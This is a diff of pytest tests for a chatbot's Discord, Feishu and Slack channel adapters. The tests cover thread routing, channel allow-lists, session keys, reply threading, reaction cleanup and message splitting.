mentions=[SimpleNamespace(id=999)],
|
||||
)
|
||||
)
|
||||
|
||||
assert len(handled) == 1
|
||||
assert handled[0]["chat_id"] == "777"
|
||||
assert handled[0]["metadata"]["context_chat_id"] == "456"
|
||||
assert handled[0]["metadata"]["thread_id"] == "777"
|
||||
assert handled[0]["session_key"] == "discord:456:thread:777"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_on_message_accepts_thread_reply_to_bot_under_allowed_parent() -> None:
|
||||
channel = DiscordChannel(
|
||||
DiscordConfig(
|
||||
enabled=True,
|
||||
allow_from=["*"],
|
||||
allow_channels=["456"],
|
||||
group_policy="mention",
|
||||
),
|
||||
MessageBus(),
|
||||
)
|
||||
channel._bot_user_id = "999"
|
||||
handled: list[dict] = []
|
||||
|
||||
async def capture_handle(**kwargs) -> None:
|
||||
handled.append(kwargs)
|
||||
|
||||
channel._handle_message = capture_handle # type: ignore[method-assign]
|
||||
|
||||
await channel._on_message(
|
||||
_make_message(
|
||||
channel_id=777,
|
||||
parent_channel_id=456,
|
||||
guild_id=1,
|
||||
content="follow up",
|
||||
reply_to=111,
|
||||
reply_author_id=999,
|
||||
)
|
||||
)
|
||||
|
||||
assert len(handled) == 1
|
||||
assert handled[0]["chat_id"] == "777"
|
||||
assert handled[0]["metadata"]["reply_to"] == "111"
|
||||
assert handled[0]["metadata"]["context_chat_id"] == "456"
|
||||
assert handled[0]["session_key"] == "discord:456:thread:777"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_on_message_ignores_thread_lifecycle_messages() -> None:
|
||||
channel = DiscordChannel(
|
||||
DiscordConfig(
|
||||
enabled=True,
|
||||
allow_from=["*"],
|
||||
allow_channels=["456"],
|
||||
group_policy="open",
|
||||
),
|
||||
MessageBus(),
|
||||
)
|
||||
handled: list[dict] = []
|
||||
|
||||
async def capture_handle(**kwargs) -> None:
|
||||
handled.append(kwargs)
|
||||
|
||||
channel._handle_message = capture_handle # type: ignore[method-assign]
|
||||
|
||||
await channel._on_message(
|
||||
_make_message(
|
||||
channel_id=777,
|
||||
parent_channel_id=456,
|
||||
guild_id=1,
|
||||
content="",
|
||||
message_type=discord.MessageType.thread_created,
|
||||
)
|
||||
)
|
||||
await channel._on_message(
|
||||
_make_message(
|
||||
channel_id=777,
|
||||
parent_channel_id=456,
|
||||
guild_id=1,
|
||||
content="",
|
||||
message_type=discord.MessageType.thread_starter_message,
|
||||
)
|
||||
)
|
||||
await channel._on_message(
|
||||
_make_message(
|
||||
channel_id=777,
|
||||
parent_channel_id=456,
|
||||
guild_id=1,
|
||||
content="",
|
||||
message_type=discord.MessageType.pins_add,
|
||||
)
|
||||
)
|
||||
|
||||
assert handled == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_on_message_drops_thread_when_neither_thread_nor_parent_allowed() -> None:
|
||||
channel = DiscordChannel(
|
||||
DiscordConfig(enabled=True, allow_from=["*"], allow_channels=["999"]),
|
||||
MessageBus(),
|
||||
)
|
||||
handled: list[dict] = []
|
||||
|
||||
async def capture_handle(**kwargs) -> None:
|
||||
handled.append(kwargs)
|
||||
|
||||
channel._handle_message = capture_handle # type: ignore[method-assign]
|
||||
|
||||
await channel._on_message(_make_message(channel_id=777, parent_channel_id=456))
|
||||
|
||||
assert handled == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_on_message_drops_when_channel_not_in_allow_channels() -> None:
|
||||
# When allow_channels is set and incoming channel is not listed, drop silently.
|
||||
@@ -517,6 +681,24 @@ async def test_send_fetches_channel_when_not_cached() -> None:
|
||||
assert target.sent_payloads == [{"content": "hello"}]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_uses_seen_thread_channel_when_client_cannot_resolve_it() -> None:
|
||||
owner = DiscordChannel(DiscordConfig(enabled=True, allow_from=["*"]), MessageBus())
|
||||
client = DiscordBotClient(owner, intents=discord.Intents.none())
|
||||
target = _FakeChannel(channel_id=777, parent_id=456)
|
||||
owner._known_channels["777"] = target
|
||||
client.get_channel = lambda channel_id: None # type: ignore[method-assign]
|
||||
|
||||
async def fetch_channel(channel_id: int):
|
||||
raise RuntimeError("not found")
|
||||
|
||||
client.fetch_channel = fetch_channel # type: ignore[method-assign]
|
||||
|
||||
await client.send_outbound(OutboundMessage(channel="discord", chat_id="777", content="hello"))
|
||||
|
||||
assert target.sent_payloads == [{"content": "hello"}]
|
||||
|
||||
|
||||
def test_supports_streaming_enabled_by_default() -> None:
|
||||
channel = DiscordChannel(DiscordConfig(enabled=True, allow_from=["*"]), MessageBus())
|
||||
|
||||
@@ -596,6 +778,71 @@ async def test_slash_new_forwards_when_user_is_allowlisted() -> None:
|
||||
assert handled[0]["metadata"]["is_slash_command"] is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_slash_new_accepts_thread_when_parent_channel_in_allow_channels() -> None:
|
||||
channel = DiscordChannel(
|
||||
DiscordConfig(enabled=True, allow_from=["*"], allow_channels=["456"]),
|
||||
MessageBus(),
|
||||
)
|
||||
handled: list[dict] = []
|
||||
|
||||
async def capture_handle(**kwargs) -> None:
|
||||
handled.append(kwargs)
|
||||
|
||||
channel._handle_message = capture_handle # type: ignore[method-assign]
|
||||
client = DiscordBotClient(channel, intents=discord.Intents.none())
|
||||
thread = _FakeChannel(channel_id=777, parent_id=456)
|
||||
interaction = _make_interaction(
|
||||
user_id=123,
|
||||
channel_id=777,
|
||||
channel=thread,
|
||||
guild_id=1,
|
||||
interaction_id=321,
|
||||
)
|
||||
|
||||
new_cmd = client.tree.get_command("new")
|
||||
assert new_cmd is not None
|
||||
await new_cmd.callback(interaction)
|
||||
|
||||
assert interaction.response.messages == [{"content": "Processing /new...", "ephemeral": True}]
|
||||
assert len(handled) == 1
|
||||
assert handled[0]["chat_id"] == "777"
|
||||
assert handled[0]["metadata"]["context_chat_id"] == "456"
|
||||
assert handled[0]["metadata"]["thread_id"] == "777"
|
||||
assert handled[0]["session_key"] == "discord:456:thread:777"
|
||||
assert channel._known_channels["777"] is thread
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_slash_new_blocks_channel_not_in_allow_channels() -> None:
|
||||
channel = DiscordChannel(
|
||||
DiscordConfig(enabled=True, allow_from=["*"], allow_channels=["999"]),
|
||||
MessageBus(),
|
||||
)
|
||||
handled: list[dict] = []
|
||||
|
||||
async def capture_handle(**kwargs) -> None:
|
||||
handled.append(kwargs)
|
||||
|
||||
channel._handle_message = capture_handle # type: ignore[method-assign]
|
||||
client = DiscordBotClient(channel, intents=discord.Intents.none())
|
||||
interaction = _make_interaction(
|
||||
user_id=123,
|
||||
channel_id=777,
|
||||
channel=_FakeChannel(channel_id=777, parent_id=456),
|
||||
guild_id=1,
|
||||
)
|
||||
|
||||
new_cmd = client.tree.get_command("new")
|
||||
assert new_cmd is not None
|
||||
await new_cmd.callback(interaction)
|
||||
|
||||
assert interaction.response.messages == [
|
||||
{"content": "This channel is not allowed for this bot.", "ephemeral": True}
|
||||
]
|
||||
assert handled == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_slash_new_is_blocked_for_disallowed_user() -> None:
|
||||
channel = DiscordChannel(DiscordConfig(enabled=True, allow_from=["999"]), MessageBus())
|
||||
@@ -618,7 +865,7 @@ async def test_slash_new_is_blocked_for_disallowed_user() -> None:
|
||||
assert handled == []
|
||||
|
||||
|
||||
@pytest.mark.parametrize("slash_name", ["stop", "restart", "status"])
|
||||
@pytest.mark.parametrize("slash_name", ["stop", "restart", "status", "history"])
|
||||
@pytest.mark.asyncio
|
||||
async def test_slash_commands_forward_via_handle_message(slash_name: str) -> None:
|
||||
channel = DiscordChannel(DiscordConfig(enabled=True, allow_from=["*"]), MessageBus())
|
||||
@@ -665,6 +912,45 @@ async def test_slash_help_returns_ephemeral_help_text() -> None:
|
||||
assert handled == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_slash_help_respects_allow_channels() -> None:
|
||||
channel = DiscordChannel(
|
||||
DiscordConfig(enabled=True, allow_from=["*"], allow_channels=["999"]),
|
||||
MessageBus(),
|
||||
)
|
||||
client = DiscordBotClient(channel, intents=discord.Intents.none())
|
||||
interaction = _make_interaction(
|
||||
channel_id=777,
|
||||
channel=_FakeChannel(channel_id=777, parent_id=456),
|
||||
guild_id=1,
|
||||
)
|
||||
interaction.command.qualified_name = "help"
|
||||
|
||||
help_cmd = client.tree.get_command("help")
|
||||
assert help_cmd is not None
|
||||
await help_cmd.callback(interaction)
|
||||
|
||||
assert interaction.response.messages == [
|
||||
{"content": "This channel is not allowed for this bot.", "ephemeral": True}
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_thread_delete_and_archive_remove_known_channel() -> None:
|
||||
channel = DiscordChannel(DiscordConfig(enabled=True, allow_from=["*"]), MessageBus())
|
||||
client = DiscordBotClient(channel, intents=discord.Intents.none())
|
||||
thread = _FakeChannel(channel_id=777, parent_id=456)
|
||||
|
||||
channel._remember_channel(thread)
|
||||
await client.on_thread_delete(thread)
|
||||
assert "777" not in channel._known_channels
|
||||
|
||||
channel._remember_channel(thread)
|
||||
archived_thread = SimpleNamespace(id=777, parent_id=456, archived=True)
|
||||
await client.on_thread_update(thread, archived_thread)
|
||||
assert "777" not in channel._known_channels
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_client_send_outbound_chunks_text_replies_and_uploads_files(tmp_path) -> None:
|
||||
# Outbound payloads should upload files, attach reply references, and chunk long text.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
"""Tests for Feishu reaction add/remove and auto-cleanup on stream end."""
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
from unittest.mock import AsyncMock, MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
@@ -160,19 +160,38 @@ class TestRemoveReactionAsync:
|
||||
|
||||
|
||||
class TestStreamEndReactionCleanup:
|
||||
@pytest.mark.asyncio
|
||||
async def test_stream_buffers_are_scoped_by_message_id(self):
|
||||
ch = _make_channel()
|
||||
ch._create_streaming_card_sync = MagicMock(return_value=None)
|
||||
|
||||
await ch.send_delta(
|
||||
"oc_chat1", "first",
|
||||
metadata={"message_id": "om_first"},
|
||||
)
|
||||
await ch.send_delta(
|
||||
"oc_chat1", "second",
|
||||
metadata={"message_id": "om_second"},
|
||||
)
|
||||
|
||||
assert ch._stream_bufs["om_first"].text == "first"
|
||||
assert ch._stream_bufs["om_second"].text == "second"
|
||||
assert "oc_chat1" not in ch._stream_bufs
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_removes_reaction_on_stream_end(self):
|
||||
ch = _make_channel()
|
||||
ch._stream_bufs["oc_chat1"] = _FeishuStreamBuf(
|
||||
text="Done", card_id="card_1", sequence=3, last_edit=0.0,
|
||||
)
|
||||
ch._reaction_ids["om_001"] = "rx_42"
|
||||
ch._client.cardkit.v1.card_element.content.return_value = MagicMock(success=MagicMock(return_value=True))
|
||||
ch._client.cardkit.v1.card.settings.return_value = MagicMock(success=MagicMock(return_value=True))
|
||||
ch._remove_reaction = AsyncMock()
|
||||
|
||||
await ch.send_delta(
|
||||
"oc_chat1", "",
|
||||
metadata={"_stream_end": True, "message_id": "om_001", "reaction_id": "rx_42"},
|
||||
metadata={"_stream_end": True, "message_id": "om_001"},
|
||||
)
|
||||
|
||||
ch._remove_reaction.assert_called_once_with("om_001", "rx_42")
|
||||
@@ -189,7 +208,7 @@ class TestStreamEndReactionCleanup:
|
||||
|
||||
await ch.send_delta(
|
||||
"oc_chat1", "",
|
||||
metadata={"_stream_end": True, "reaction_id": "rx_42"},
|
||||
metadata={"_stream_end": True},
|
||||
)
|
||||
|
||||
ch._remove_reaction.assert_not_called()
|
||||
|
||||
@@ -3,7 +3,7 @@ import asyncio
|
||||
import json
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import MagicMock, patch
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
@@ -21,18 +21,18 @@ from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.channels.feishu import FeishuChannel, FeishuConfig
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _make_feishu_channel(reply_to_message: bool = False) -> FeishuChannel:
|
||||
def _make_feishu_channel(reply_to_message: bool = False, group_policy: str = "mention") -> FeishuChannel:
|
||||
config = FeishuConfig(
|
||||
enabled=True,
|
||||
app_id="cli_test",
|
||||
app_secret="secret",
|
||||
allow_from=["*"],
|
||||
reply_to_message=reply_to_message,
|
||||
group_policy=group_policy,
|
||||
)
|
||||
channel = FeishuChannel(config, MessageBus())
|
||||
channel._client = MagicMock()
|
||||
@@ -202,7 +202,7 @@ def test_reply_message_sync_returns_false_on_exception() -> None:
|
||||
("filename", "expected_msg_type"),
|
||||
[
|
||||
("voice.opus", "audio"),
|
||||
("clip.mp4", "video"),
|
||||
("clip.mp4", "media"),
|
||||
("report.pdf", "file"),
|
||||
],
|
||||
)
|
||||
@@ -443,3 +443,288 @@ async def test_on_message_no_extra_api_call_when_no_parent_id() -> None:
|
||||
|
||||
channel._client.im.v1.message.get.assert_not_called()
|
||||
assert len(captured) == 1
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Session key derivation tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_session_key_group_with_root_id_is_thread_scoped() -> None:
|
||||
"""Group message with root_id gets a thread-scoped session key."""
|
||||
channel = _make_feishu_channel(group_policy="open")
|
||||
bus_spy = []
|
||||
original_publish = channel.bus.publish_inbound
|
||||
|
||||
async def capture(msg):
|
||||
bus_spy.append(msg)
|
||||
await original_publish(msg)
|
||||
|
||||
channel.bus.publish_inbound = capture
|
||||
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
|
||||
channel.transcribe_audio = AsyncMock(return_value="")
|
||||
channel._add_reaction = AsyncMock(return_value=None)
|
||||
|
||||
event = _make_feishu_event(
|
||||
chat_type="group",
|
||||
content='{"text": "hello"}',
|
||||
root_id="om_root123",
|
||||
message_id="om_child456",
|
||||
)
|
||||
await channel._on_message(event)
|
||||
|
||||
assert len(bus_spy) == 1
|
||||
assert bus_spy[0].session_key == "feishu:oc_abc:om_root123"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_session_key_group_no_root_id_uses_message_id() -> None:
|
||||
"""Group message without root_id gets session keyed by message_id (per-message session)."""
|
||||
channel = _make_feishu_channel(group_policy="open")
|
||||
bus_spy = []
|
||||
original_publish = channel.bus.publish_inbound
|
||||
|
||||
async def capture(msg):
|
||||
bus_spy.append(msg)
|
||||
await original_publish(msg)
|
||||
|
||||
channel.bus.publish_inbound = capture
|
||||
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
|
||||
channel.transcribe_audio = AsyncMock(return_value="")
|
||||
channel._add_reaction = AsyncMock(return_value=None)
|
||||
|
||||
event = _make_feishu_event(
|
||||
chat_type="group",
|
||||
content='{"text": "hello"}',
|
||||
root_id=None,
|
||||
message_id="om_001",
|
||||
)
|
||||
await channel._on_message(event)
|
||||
|
||||
assert len(bus_spy) == 1
|
||||
assert bus_spy[0].session_key == "feishu:oc_abc:om_001"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_session_key_private_chat_no_override() -> None:
|
||||
"""Private chat never overrides session key (consistent with Telegram/Slack)."""
|
||||
channel = _make_feishu_channel()
|
||||
bus_spy = []
|
||||
original_publish = channel.bus.publish_inbound
|
||||
|
||||
async def capture(msg):
|
||||
bus_spy.append(msg)
|
||||
await original_publish(msg)
|
||||
|
||||
channel.bus.publish_inbound = capture
|
||||
channel._download_and_save_media = AsyncMock(return_value=(None, ""))
|
||||
channel.transcribe_audio = AsyncMock(return_value="")
|
||||
channel._add_reaction = AsyncMock(return_value=None)
|
||||
|
||||
event = _make_feishu_event(
|
||||
chat_type="p2p",
|
||||
content='{"text": "hello"}',
|
||||
root_id=None,
|
||||
message_id="om_001",
|
||||
)
|
||||
await channel._on_message(event)
|
||||
|
||||
assert len(bus_spy) == 1
|
||||
assert bus_spy[0].session_key_override is None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# reply_in_thread tests
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_uses_reply_in_thread_when_enabled() -> None:
|
||||
"""When reply_to_message is True, reply includes reply_in_thread=True."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = True
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
metadata={"message_id": "om_001"},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called_once()
|
||||
call_args = channel._client.im.v1.message.reply.call_args
|
||||
request = call_args[0][0]
|
||||
assert request.request_body.reply_in_thread is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_without_reply_in_thread_when_disabled() -> None:
|
||||
"""When reply_to_message is False, reply does NOT use reply_in_thread."""
|
||||
channel = _make_feishu_channel(reply_to_message=False)
|
||||
|
||||
create_resp = MagicMock()
|
||||
create_resp.success.return_value = True
|
||||
channel._client.im.v1.message.create.return_value = create_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
))
|
||||
|
||||
# No message_id in metadata → no reply attempt, direct create
|
||||
channel._client.im.v1.message.create.assert_called_once()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_keeps_fallback_when_reply_fails() -> None:
|
||||
"""Even with reply_to_message=True, fallback to create on reply failure."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = False
|
||||
reply_resp.code = 99991400
|
||||
reply_resp.msg = "rate limited"
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
create_resp = MagicMock()
|
||||
create_resp.success.return_value = True
|
||||
channel._client.im.v1.message.create.return_value = create_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
metadata={"message_id": "om_001"},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called()
|
||||
channel._client.im.v1.message.create.assert_called()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_no_reply_in_thread_for_p2p_chat() -> None:
|
||||
"""reply_in_thread should NOT be set for p2p chats (identified by chat_type)."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = True
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc", # p2p chats also use oc_ prefix
|
||||
content="hello",
|
||||
metadata={"message_id": "om_001", "chat_type": "p2p"},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called_once()
|
||||
call_args = channel._client.im.v1.message.reply.call_args
|
||||
request = call_args[0][0]
|
||||
assert request.request_body.reply_in_thread is not True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_uses_reply_in_thread_for_group_chat() -> None:
|
||||
"""reply_in_thread should be True for group chats (identified by chat_type)."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = True
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
metadata={"message_id": "om_001", "chat_type": "group"},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called_once()
|
||||
call_args = channel._client.im.v1.message.reply.call_args
|
||||
request = call_args[0][0]
|
||||
assert request.request_body.reply_in_thread is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_reply_targets_message_id_when_in_topic() -> None:
|
||||
"""When inbound message is inside a topic (root_id != message_id),
|
||||
the reply should target the inbound message_id (not root_id).
|
||||
The Feishu Reply API keeps the response in the same topic
|
||||
automatically when the target message is already inside a topic."""
|
||||
channel = _make_feishu_channel(reply_to_message=True)
|
||||
|
||||
reply_resp = MagicMock()
|
||||
reply_resp.success.return_value = True
|
||||
channel._client.im.v1.message.reply.return_value = reply_resp
|
||||
|
||||
await channel.send(OutboundMessage(
|
||||
channel="feishu",
|
||||
chat_id="oc_abc",
|
||||
content="hello",
|
||||
metadata={
|
||||
"message_id": "om_child456",
|
||||
"chat_type": "group",
|
||||
"root_id": "om_root123",
|
||||
},
|
||||
))
|
||||
|
||||
channel._client.im.v1.message.reply.assert_called_once()
|
||||
call_args = channel._client.im.v1.message.reply.call_args
|
||||
request = call_args[0][0]
|
||||
# Should reply to the inbound message_id, not the root
|
||||
assert request.message_id == "om_child456"
|
||||
assert request.request_body.reply_in_thread is True
|
||||
|
||||
|
||||
def test_on_reaction_added_stores_reaction_id() -> None:
|
||||
"""_on_reaction_added stores the returned reaction_id in _reaction_ids."""
|
||||
channel = _make_feishu_channel()
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
task = loop.create_task(asyncio.sleep(0, result="reaction_abc"))
|
||||
loop.run_until_complete(task)
|
||||
channel._on_reaction_added("om_001", task)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
assert channel._reaction_ids["om_001"] == "reaction_abc"
|
||||
|
||||
|
||||
def test_on_reaction_added_skips_none_result() -> None:
|
||||
"""_on_reaction_added does not store None results."""
|
||||
channel = _make_feishu_channel()
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
task = loop.create_task(asyncio.sleep(0, result=None))
|
||||
loop.run_until_complete(task)
|
||||
channel._on_reaction_added("om_001", task)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
assert "om_001" not in channel._reaction_ids
|
||||
|
||||
|
||||
def test_on_background_task_done_removes_from_set() -> None:
|
||||
"""_on_background_task_done removes task from tracking set."""
|
||||
channel = _make_feishu_channel()
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
async def _fail():
|
||||
raise RuntimeError("test failure")
|
||||
|
||||
task = loop.create_task(_fail())
|
||||
channel._background_tasks.add(task)
|
||||
try:
|
||||
loop.run_until_complete(task)
|
||||
except RuntimeError:
|
||||
pass # expected
|
||||
channel._on_background_task_done(task)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
assert task not in channel._background_tasks
|
||||
|
||||
@@ -1,5 +1,9 @@
|
||||
from __future__ import annotations
|
||||
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import AsyncMock
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
|
||||
# Check optional Slack dependencies before running tests
|
||||
@@ -10,7 +14,7 @@ except ImportError:
|
||||
|
||||
from nanobot.bus.events import OutboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.channels.slack import SlackChannel, SlackConfig
|
||||
from nanobot.channels.slack import SLACK_MAX_MESSAGE_LEN, SlackChannel, SlackConfig
|
||||
|
||||
|
||||
class _FakeAsyncWebClient:
|
||||
@@ -20,26 +24,30 @@ class _FakeAsyncWebClient:
|
||||
self.reactions_add_calls: list[dict[str, object | None]] = []
|
||||
self.reactions_remove_calls: list[dict[str, object | None]] = []
|
||||
self.conversations_list_calls: list[dict[str, object | None]] = []
|
||||
self.conversations_replies_calls: list[dict[str, object | None]] = []
|
||||
self.users_list_calls: list[dict[str, object | None]] = []
|
||||
self.conversations_open_calls: list[dict[str, object | None]] = []
|
||||
self._conversations_pages: list[dict[str, object]] = []
|
||||
self._conversations_replies_response: dict[str, object] = {"messages": []}
|
||||
self._users_pages: list[dict[str, object]] = []
|
||||
self._open_dm_response: dict[str, object] = {"channel": {"id": "D_OPENED"}}
|
||||
|
||||
async def chat_postMessage(
|
||||
async def chat_postMessage( # noqa: N802 - mirrors Slack SDK method name
|
||||
self,
|
||||
*,
|
||||
channel: str,
|
||||
text: str,
|
||||
thread_ts: str | None = None,
|
||||
blocks: list[dict[str, object]] | None = None,
|
||||
) -> None:
|
||||
self.chat_post_calls.append(
|
||||
{
|
||||
"channel": channel,
|
||||
"text": text,
|
||||
"thread_ts": thread_ts,
|
||||
}
|
||||
)
|
||||
call: dict[str, object | None] = {
|
||||
"channel": channel,
|
||||
"text": text,
|
||||
"thread_ts": thread_ts,
|
||||
}
|
||||
if blocks is not None:
|
||||
call["blocks"] = blocks
|
||||
self.chat_post_calls.append(call)
|
||||
|
||||
async def files_upload_v2(
|
||||
self,
|
||||
@@ -92,6 +100,10 @@ class _FakeAsyncWebClient:
|
||||
return self._conversations_pages.pop(0)
|
||||
return {"channels": [], "response_metadata": {"next_cursor": ""}}
|
||||
|
||||
async def conversations_replies(self, **kwargs):
|
||||
self.conversations_replies_calls.append(kwargs)
|
||||
return self._conversations_replies_response
|
||||
|
||||
async def users_list(self, **kwargs):
|
||||
self.users_list_calls.append(kwargs)
|
||||
if self._users_pages:
|
||||
@@ -120,14 +132,15 @@ async def test_send_uses_thread_for_channel_messages() -> None:
|
||||
)
|
||||
|
||||
assert len(fake_web.chat_post_calls) == 1
|
||||
assert fake_web.chat_post_calls[0]["text"] == "hello\n"
|
||||
assert fake_web.chat_post_calls[0]["text"] == "hello"
|
||||
assert fake_web.chat_post_calls[0]["thread_ts"] == "1700000000.000100"
|
||||
assert len(fake_web.file_upload_calls) == 1
|
||||
assert fake_web.file_upload_calls[0]["thread_ts"] == "1700000000.000100"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_omits_thread_for_dm_messages() -> None:
|
||||
async def test_send_omits_thread_for_dm_root_messages() -> None:
|
||||
"""DM root replies should not be threaded; metadata carries thread_ts=None."""
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
channel._web_client = fake_web
|
||||
@@ -138,17 +151,101 @@ async def test_send_omits_thread_for_dm_messages() -> None:
|
||||
chat_id="D123",
|
||||
content="hello",
|
||||
media=["/tmp/demo.txt"],
|
||||
metadata={"slack": {"thread_ts": "1700000000.000100", "channel_type": "im"}},
|
||||
metadata={"slack": {"thread_ts": None, "channel_type": "im"}},
|
||||
)
|
||||
)
|
||||
|
||||
assert len(fake_web.chat_post_calls) == 1
|
||||
assert fake_web.chat_post_calls[0]["text"] == "hello\n"
|
||||
assert fake_web.chat_post_calls[0]["text"] == "hello"
|
||||
assert fake_web.chat_post_calls[0]["thread_ts"] is None
|
||||
assert len(fake_web.file_upload_calls) == 1
|
||||
assert fake_web.file_upload_calls[0]["thread_ts"] is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_keeps_thread_for_dm_thread_messages() -> None:
|
||||
"""When the user replies inside a DM thread, bot replies stay in the same thread."""
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
channel._web_client = fake_web
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="slack",
|
||||
chat_id="D123",
|
||||
content="hello",
|
||||
media=["/tmp/demo.txt"],
|
||||
metadata={
|
||||
"slack": {
|
||||
"thread_ts": "1700000000.000100",
|
||||
"channel_type": "im",
|
||||
"event": {"channel": "D123"},
|
||||
}
|
||||
},
|
||||
)
|
||||
)
|
||||
|
||||
assert len(fake_web.chat_post_calls) == 1
|
||||
assert fake_web.chat_post_calls[0]["thread_ts"] == "1700000000.000100"
|
||||
assert len(fake_web.file_upload_calls) == 1
|
||||
assert fake_web.file_upload_calls[0]["thread_ts"] == "1700000000.000100"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_splits_long_messages() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
channel._web_client = fake_web
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="slack",
|
||||
chat_id="C123",
|
||||
content="x" * (SLACK_MAX_MESSAGE_LEN + 10),
|
||||
)
|
||||
)
|
||||
|
||||
assert len(fake_web.chat_post_calls) == 2
|
||||
assert all(len(str(call["text"])) <= SLACK_MAX_MESSAGE_LEN for call in fake_web.chat_post_calls)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_send_renders_buttons_on_last_message_chunk() -> None:
|
||||
channel = SlackChannel(SlackConfig(enabled=True), MessageBus())
|
||||
fake_web = _FakeAsyncWebClient()
|
||||
channel._web_client = fake_web
|
||||
|
||||
await channel.send(
|
||||
OutboundMessage(
|
||||
channel="slack",
|
||||
chat_id="C123",
|
||||
content="Choose one",
|
||||
buttons=[["Yes", "No"]],
|
||||
)
|
||||
)
|
||||
|
||||
assert len(fake_web.chat_post_calls) == 1
|
||||
blocks = fake_web.chat_post_calls[0]["blocks"]
|
||||
assert isinstance(blocks, list)
|
||||
assert blocks[-1] == {
|
||||
"type": "actions",
|
||||
"elements": [
|
||||
{
|
||||
"type": "button",
|
||||
